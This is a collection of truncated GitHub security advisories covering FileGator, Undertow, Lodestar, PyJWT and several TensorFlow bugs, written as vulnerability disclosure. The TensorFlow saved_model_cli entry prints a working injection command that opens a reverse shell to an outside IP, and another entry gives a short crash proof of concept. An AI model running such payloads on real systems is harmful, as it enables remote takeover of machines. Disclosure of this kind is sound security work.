ghsa

Session Fixation in GitHub repository filegator/filegator prior to 7.8.0.

A flaw was found in Undertow. A potential security issue in flow control handling by the browser over http/2 may potentially cause overhead or a denial of service in the server. The highest threat from this vulnerability is availability. This flaw affects Undertow versions prior to 2.0.40.Final and prior to 2.2.11.Final.

A flaw was found in undertow. The HTTP2SourceChannel fails to write the final frame under some circumstances, resulting in a denial of service. The highest threat from this vulnerability is availability. This flaw affects Undertow versions prior to 2.0.35.SP1, prior to 2.2.6.SP1, prior to 2.2.7.SP1, prior to 2.0.36.SP1, prior to 2.2.9.Final and prior to 2.0.39.Final.

### Impact Possible consensus split given maliciously-crafted `AttesterSlashing` or `ProposerSlashing` being included on-chain. Since we represent `uint64` values as native javascript `number`s, there is an issue when those variables with large (greater than 2^53) `uint64` values are included on chain. In those cases, Lodestar may view _valid_ `AttesterSlashing` or `ProposerSlashing` as _invalid_, due to rounding errors in large `number` values. This causes a consensus split, where Lodestar nodes are forked away from the main network. Similarly Lodestar may consider _invalid_ `ProposerSlashing` as _valid_, thus including in proposed blocks that will be considered invalid by the network. ### Patches https://github.com/ChainSafe/lodestar/pull/3977 ### Workarounds Use `BigInt` to represent `Slot` and `Epoch` values in `AttesterSlashing` and `ProposerSlashing` objects. `BigInt` is too slow to be used in all `Slot` and `Epoch` cases, so we will carefully use `BigInt` just where neces...

### Impact _What kind of vulnerability is it? Who is impacted?_ Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation). > PyJWT supports multiple different JWT signing algorithms. With JWT, an > attacker submitting the JWT token can choose the used signing algorithm. > > The PyJWT library requires that the application chooses what algorithms > are supported. The application can specify > "jwt.algorithms.get_default_algorithms()" to get support for all > algorithms. They can also specify a single one of them (which is the > usual use case if calling jwt.decode directly. However, if calling > jwt.decode in a helper function, all algorithms might be enabled.) > > For example, if the user chooses "none" algorithm and the JWT checker > supports that, there will be no signature checking. This is a common > security issue with some JWT implementations. > > PyJWT combats this by requiring that the if the "none" algorithm is > used, the key has to be empty. As the...

### Impact TensorFlow's `saved_model_cli` tool is vulnerable to a code injection: ``` saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./ --tag_set serve --signature_def serving_default ``` This can be used to open a reverse shell ``` saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")' --dir ./ --tag_set serve --signature_def serving_default ``` This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it s...

### Impact The `tf.compat.v1.signal.rfft2d` and `tf.compat.v1.signal.rfft3d` lack input validation and under certain condition can result in crashes (due to `CHECK`-failures). ### Patches We have patched the issue in GitHub commit [0a8a781e597b18ead006d19b7d23d0a369e9ad73](https://github.com/tensorflow/tensorflow/commit/0a8a781e597b18ead006d19b7d23d0a369e9ad73) (merging GitHub PR [#55274](https://github.com/tensorflow/tensorflow/pull/55274)). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorf...

### Impact Certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling [`QuantizeMultiplierSmallerThanOneExp`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/lite/kernels/internal/quantization_util.cc#L114-L123), the `TFLITE_CHECK_LT` assertion would trigger and abort the process. ### Patches We have patched the issue in GitHub commit [a989426ee1346693cc015792f11d715f6944f2b8](https://github.com/tensorflow/tensorflow/commit/a989426ee1346693cc015792f11d715f6944f2b8). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security ...

### Impact The implementation of [`tf.histogram_fixed_width`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc) is vulnerable to a crash when the values array contain `NaN` elements: ```python import tensorflow as tf import numpy as np tf.histogram_fixed_width(values=np.nan, value_range=[1,2]) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc#L35-L74) assumes that all floating point operations are defined and then converts a floating point result to an integer index: ```cc index_to_bin.device(d) = ((values.cwiseMax(value_range(0)) - values.constant(value_range(0))) .template cast<double>() / step) .cwiseMin(nbins_minus_1) .template cast<int32>(); ``` If `values` contains `NaN` then the result of the division is still `NaN` and the cast to `int32` would result in a crash....

### Impact The [`TensorKey` hash function](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/framework/tensor_key.h#L53-L64) used total estimated `AllocatedBytes()`, which (a) is an estimate per tensor, and (b) is a very poor hash function for constants (e.g. `int32_t`). It also tried to access individual tensor bytes through `tensor.data()` of size `AllocatedBytes()`. This led to ASAN failures because the `AllocatedBytes()` is an estimate of total bytes allocated by a tensor, including any pointed-to constructs (e.g. strings), and does not refer to contiguous bytes in the `.data()` buffer. We couldn't use this byte vector anyways, since types like `tstring` include pointers, whereas we need to hash the string values themselves. ### Patches We have patched the issue in GitHub commit [1b85a28d395dc91f4d22b5f9e1e9a22e92ccecd6](https://github.com/tensorflow/tensorflow/commit/1b85a28d395dc91f4d22b5f9e1e9a22e92ccecd6). The fix will b...